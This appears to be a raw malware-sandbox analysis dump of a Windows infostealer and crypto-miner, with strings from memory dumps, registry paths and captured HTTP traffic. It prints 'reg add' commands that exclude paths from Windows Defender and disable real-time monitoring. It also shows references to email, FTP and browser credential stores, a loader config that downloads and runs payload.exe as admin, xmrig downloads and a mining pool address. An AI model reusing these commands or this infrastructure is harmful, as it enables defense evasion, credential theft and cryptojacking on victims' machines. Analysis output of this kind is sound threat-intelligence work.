"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]4e:T4285,"Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00000600.00000000.143678.0251F000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00000600.00000000.143678.0251F000.00000002.mdmp "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f" in Source: 00000000-00000600.00000000.143678.D92A0000.00000004.mdmp ""HKLM\SOFTWARE\Microsoft\Windows" in Source: 00000000-00000600.00000000.143678.D92A0000.00000004.mdmp, ""HKLM\SOFTWARE\Microsoft\Windows" in Source: 00000000-00000600.00000000.143678.D9660000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004068.00000000.141971.CB990000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00004068.00000000.141971.CB990000.00000004.mdmp "Software\Aerofox\FoxmailPreview" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Windows Messaging Subsystem\Profiles\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "reg add \"HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f" in Source: 00000000-00004356.00000000.144083.3A500000.00000004.mdmp ""HKCU\SOFTWARE\Microsoft\Windows" in Source: 00000000-00004356.00000000.144083.3A500000.00000004.mdmp, ""HKCU\SOFTWARE\Microsoft\Windows" in Source: 00000000-00004356.00000000.144083.3A870000.00000004.mdmp " reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth" /t REG_DWORD /d 0 /f" in Source: 00000000-00005400.00000000.143408.0A060000.00000004.mdmp "cmd" /c "reg add \"HKLM\SOFTWAR" in Source: 00000000-00005400.00000000.143408.0A060000.00000004.mdmp, "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth" /t REG_DWORD /d 0 /f" in Source: 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp, " "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f"" in Source: 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp, "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp, "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\" in Source: 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exc" in Source: 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp, "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "e" in Source: 00000000-00005400.00000001.145328.0A060000.00000004.mdmp "cmd" /c "reg add \"HKLM\SOFTWAR" in Source: 00000000-00005400.00000001.145328.0A060000.00000004.mdmp, " reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth" /t REG_DWORD /d 0 /f" in Source: 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp, "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth" /t REG_DWORD /d 0 /f" in Source: 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp, "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp, "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\" in Source: 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exc" in Source: 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp, "HighestAvailabledev_tg_bot_tokenSOFTWARE\Microsoft\Windows\CurrentVersion\Runminer-core\src\persistence.rs" in Source: 00000000-00005400.00000001.145328.DF40F000.00000002.mdmp, "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Valve\Steam" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "\BraveSoftware\Brave-Browser\User Data\Default\" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "\Opera Software\Opera Stable" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "\Opera Software\Opera GX Stable" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Aerofox\FoxmailPreview" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Windows Messaging Subsystem\Profiles\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "Software\Valve\Steam" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "\Opera Software\Opera Stable" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "\Opera Software\Opera GX Stable" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "PUBWS\AppData\Roaming\Opera Software\Opera GX Stable\*.*" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005524.00000001.143109.4DB74000.00000004.mdmp, "Registry\Machine\Software\Classes\Applications\rQxv6kD32KDt.exe" in Source: 00000000-00005524.00000001.143109.4DB74000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001\fdeploy" in Source: 00000000-00005524.00000001.143109.50430000.00000004.mdmp, "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00005524.00000001.143109.50430000.00000004.mdmp, "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005524.00000001.143109.50430000.00000004.mdmp, "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00005524.00000001.143109.50430000.00000004.mdmp, "Machine\Software\Classes\CLSID" in Source: 00000000-00006220.00000000.143550.6BC50000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006220.00000000.143550.6BC50000.00000004.mdmp, "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00006220.00000000.143550.6BC50000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006220.00000001.143985.6BC50000.00000004.mdmp, "Machine\Software\Classes\CLSID" in Source: 00000000-00006220.00000001.143985.6BC50000.00000004.mdmp, "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00006220.00000001.143985.6BC50000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006220.00000001.143985.6E0A0000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006220.00000001.143985.6E152000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006220.00000001.143985.6E152000.00000004.mdmp, "Registry\Machine\Software\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}" in Source: 00000000-00006220.00000001.143985.6E152000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0000032A-0000-0000-C000-000000000046}" in Source: 00000000-00006220.00000001.143985.6E6DC000.00000004.mdmp, "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E@" in Source: 00000000-00006220.00000001.143985.6E6DC000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00006220.00000001.143985.6E6DC000.00000004.mdmp, "ROW\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0E" in Source: 00000000-00006220.00000001.143985.6E6DC000.00000004.mdmp, "1-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00006220.00000001.143985.6E6DC000.00000004.mdmp, ""HKLM\SOFTWARE\Microsoft\Windows" in Source: 00000000-00006844.00000000.144463.D6A40000.00000004.mdmp "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\" /v \"svchost.exe\" /t REG_DWORD /d 0 /f" in Source: 00000000-00006844.00000000.144463.D6A60000.00000004.mdmp ""HKLM\SOFTWARE\Microsoft\Windows" in Source: 00000000-00006844.00000000.144463.D6A60000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006860.00000000.144790.48780000.00000004.mdmp, "Machine\Software\Classes\CLSID" in Source: 00000000-00006860.00000000.144790.48780000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006860.00000000.144790.48780000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006860.00000000.144790.48780000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006860.00000000.144790.62A00000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006860.00000001.145325.48780000.00000004.mdmp, "Machine\Software\Classes\CLSID" in Source: 00000000-00006860.00000001.145325.48780000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006860.00000001.145325.48780000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006860.00000001.145325.48780000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006860.00000001.145325.62A00000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006860.00000001.145325.6310C000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00006860.00000001.145325.6310C000.00000004.mdmp, "Registry\Machine\Software\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}" in Source: 00000000-00006860.00000001.145325.6310C000.00000004.mdmp, "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006860.00000001.145325.6310C000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00007060.00000000.145274.008BA000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00007060.00000000.145274.008BA000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00007060.00000000.145274.008BA000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007060.00000000.145274.008BA000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00007060.00000000.145274.008BA000.00000002.mdmp, "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00007060.00000000.145274.008BA000.00000002.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007148.00000000.143557.46820000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007148.00000000.143557.46820000.00000004.mdmp, "Machine\Software\Classes\CLSID" in Source: 00000000-00007148.00000000.143557.46820000.00000004.mdmp, "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00007148.00000000.143557.60A32000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00007148.00000000.143557.610DC000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6" in Source: 00000000-00007148.00000000.143557.610DC000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00007148.00000000.143557.610DC000.00000004.mdmp, "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d 1 /f" in Source: 00000000-00007520.00000000.144882.CFDD0000.00000004.mdmp, ""HKLM\SOFTWARE\Policies\Microsoft\Windows" in Source: 00000000-00007520.00000000.144882.CFDD0000.00000004.mdmp ""HKLM\SOFTWARE\Policies\Microsoft\Windows" in Source: 00000000-00007520.00000000.144882.D0130000.00000004.mdmp4f:T650,"github.com/xmrigPow, CryptoNightRandomX, KawPow,Copyright (c) 2018" (Indicator: "github.com") "github.com" (Indicator: "github.com") "ttps://github.com/cblootah/test/raw/refs/heads/main/payload.exe" (Indicator: "github.com") "ttps://github.com/" (Indicator: "github.com") "{"610b":"5640ccce3c025ae7","opcode":"success","loader":[{"url":"https:\/\/github.com\/cblootah\/test\/raw\/refs\/heads\/main\/payload.exe","csidl":"0","run_as_admin":"1","type":"0"}]}" (Indicator: "github.com") "*.github.com" (Indicator: "github.com") "github.com0" (Indicator: "github.com") "www.github.com0" (Indicator: "github.com") "ividual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'" (Indicator: "github.com") "src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.co" (Indicator: "github.com") "s.com marketplace-screenshots.githubusercontent.com copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.gi" (Indicator: "github.com") "https://github.com/cblootah/test/raw/refs/heads/main/payload.exe" (Indicator: "github.com") "Server: github.com" (Indicator: "github.com")50:T1797,"GET /cblootah/test/raw/refs/heads/main/payload.exe HTTP/1.1 Host: github.com Cache-Control: no-cache" Response ==> HTTP/1.1 302 Found Date: Wed 15 Apr 2026 12:38:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX X-PJAX-Container Turbo-Visit Turbo-Frame X-Requested-With Sec-Fetch-Site Accept-Encoding Accept X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/cblootah/test/refs/heads/main/payload.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com github.githubassets.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net productionresultssa1.blob.core.windows.net productionresultssa2.blob.core.windows.net productionresultssa3.blob.core.windows.net productionresultssa4.blob.core.windows.net productionresultssa5.blob.core.windows.net productionresultssa6.blob.core.windows.net productionresultssa7.blob.core.windows.net productionresultssa8.blob.core.windows.net productionresultssa9.blob.core.windows.net productionresultssa10.blob.core.windows.net productionresultssa11.blob.core.windows.net productionresultssa12.blob.core.windows.net productionresultssa13.blob.core.windows.net productionresultssa14.blob.core.windows.net productionresultssa15.blob.core.windows.net productionresultssa16.blob.core.windows.net productionresultssa17.blob.core.windows.net productionresultssa18.blob.core.windows.net productionresultssa19.blob.core.windows.net github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com wss://alive-staging.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com release-assets.githubusercontent.com secured-user-images.githubusercontent.com user-images.githubusercontent.com private-user-images.githubusercontent.com opengraph.githubassets.com marketplace-screenshots.githubusercontent.com copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com secured-user-images.githubusercontent.com private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com github.githubassets.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/ Server: github.com X-GitHub-Request-Id: 86FB:2F1DC0:782932:A576C9:69DF86B2 with no response body "GET /json/?fields=countryCode HTTP/1.1 accept: */* host: ip-api.com" Response ==> HTTP/1.1 200 OK Date: Wed 15 Apr 2026 12:38:15 GMT Content-Type: application/json; charset=utf-8 Content-Length: 20 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 with response body ==>7B22636F756E747279436F6465223A225553227D....... "GET /xmrig.zip HTTP/1.1 accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 host: 77.91.97.172" Response ==> HTTP/1.1 404 NOT FOUND Server: nginx/1.24.0 (Ubuntu) Date: Wed 15 Apr 2026 12:39:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 207 Connection: keep-alive with response body ==>3C21646F63747970652068746D6C3E0A3C68746D6C206C616E673D656E3E0A3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E0A3C68313E....... "GET /xmrig.zip HTTP/1.1 accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 host: 77.91.97.172" Response ==> HTTP/1.1 404 NOT FOUND Server: nginx/1.24.0 (Ubuntu) Date: Wed 15 Apr 2026 12:39:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 207 Connection: keep-alive with response body ==>3C21646F63747970652068746D6C3E0A3C68746D6C206C616E673D656E3E0A3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E0A3C68313E....... "GET /xmrig.zip HTTP/1.1 accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 host: 77.91.97.172" Response ==> HTTP/1.1 404 NOT FOUND Server: nginx/1.24.0 (Ubuntu) Date: Wed 15 Apr 2026 12:40:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 207 Connection: keep-alive with response body ==>3C21646F63747970652068746D6C3E0A3C68746D6C206C616E673D656E3E0A3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E0A3C68313E.......51:T48a8,"stratum+tcp://77.91.97.172:3333\n" Potential IP "77.91.97.172" found in string "cp://77.91.97.172:3333" Potential IP "77.91.97.172" found in string "http://77.91.97.172/xmrig-cuda.zip" Potential IP "127.0.0.1" found in string "http://127.0.0.1:" Potential IP "77.91.97.172" found in string "443tlsmonerooceanstratum+tcp://stratum+ssl://stratum+tcp://pool.hashvault.pro:443http://77.91.97.172/xmrig.zip" "127.0.0.1:34254C:\Users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.0\src\sys\windows\selector.rs" Potential IP "95.85.238.4" found in string "ttp://95.85.238.4/e99c8470d3ebe7696e4a.php" "5.85.238.4" Potential IP "95.85.238.4" found in string "http://95.85.238.4/e99c8470d3ebe7696e4a.php" Potential IP "95.85.238.4" found in string "http://95.85.238.4" "4.238.85.95" "192.168.0.2" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.17" "2.5.29.10" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.32" "2.5.29.19" "2.5.29.31" "2.5.29.14" "2.5.29.15" "2.5.4.3" "2.5.29.1" "2.5.29.16"64:T11755,Heuristic match: "src\main.rs" Heuristic match: "a display implementation returned an error unexpectedly/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\string.rs" Heuristic match: "c:\users\svin228\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\aes-0.8.4\src\soft\fixslice64.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\..\..\backtrace\src\dbghelp.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\..\..\backtrace\src\symbolize\mod.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\io\mod.rs" Heuristic match: "internal error: entered unreachable code/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\io\stdio.rs" Heuristic match: "advancing ioslice beyond its length/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\io\io_slice\windows.rs" Heuristic match: "fatal runtime error: initialization or cleanup bug, abortingfatal runtime error: drop of the panic payload panicked, aborting/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\rt.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\thread_local\destructors\list.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\pal\windows\mod.rs" Heuristic match: "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\path\windows_prefix.rs" Heuristic match: "once instance has previously been poisonedtoo many active read locks on rwlock/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\sys\sync\rwlock\futex.rs" Heuristic match: 